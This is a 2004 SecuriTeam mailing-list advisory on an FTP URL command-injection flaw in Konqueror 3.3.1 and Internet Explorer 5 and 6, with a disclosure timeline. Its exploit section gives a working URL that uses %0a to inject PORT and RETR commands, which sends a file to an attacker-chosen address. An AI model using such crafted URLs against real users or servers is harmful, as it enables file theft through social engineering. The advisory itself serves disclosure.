Date: 22 Dec 2004 15:33:16 +0200
From: SecuriTeam <support@securiteam.com.>
To: [email protected]Subject: [UNIX] FTP Client Command Injection
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
FTP Client Command Injection
------------------------------------------------------------------------
SUMMARY
Konqueror is "a very multifuncional HTTP browser included on KDE base
package. Like others browsers it can use more protocols, for example FTP.
This application is usually used to navigate through the file systems".
Both Konqueror and Internet Explorer suffer from command injection
vulnerability that can be exploited by an especially formed FTP URL.
DETAILS
Vulnerable Systems:
* Konqueror version 3.3.1 and prior
* Internet Explorer 5.0 (3700.1000)
* Internet Explorer 6.0 (2800.1106)
In order to access to a server FTP using Internet Explorer you write
"ftp://ftpuser:ftppass@server/directory" in the directories' bar and then
the navigator connects to the server and executes the following commands
(and other that have omitted because they are not important for this
stuff).
USER ftpuser
PASS ftppass
CWD /directory/
The security problem resides in which is possible to inject FTP commands
on the URL adding at the code %0a followed by your injected commands. If
you do "ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will
execute those commands.
USER ftpuser
PASS ftppass
CWD /directory
somecommand
The last line is an erroneous command, but it's not a problem because
'somecommand' has already been executed.
Exploit:
You need to deceive a user to go to your URL and then to introduce a valid
user and password. So yes! The exploitation also requires to apply social
engineering. Then you can do a lot of things using this bug like create or
delete files and directories, but probably, the most interesting thing is
to download files. Its possible to do that using this URL;
ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file
Then the server will connect to a.b.c.d and port e,f (see FTP RFC to
translate the port number) and will send the file data.
Timeline:
01/12/2004 - Bug discovered
02/12/2004 - KDE developers contacted
03/12/2004 - Fast developers reply
03/12/2004 - IE also afected, so 7a69ezine decided to publish the bug
05/12/2004 - Advisor released
ADDITIONAL INFORMATION
The information has been provided by <mailto:ripe@7a69ezine.org.> Albert
Puigsech Galicia.
The original article can be found at:
<http://www.7a69ezine.org/node/view/169>;
http://www.7a69ezine.org/node/view/169
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
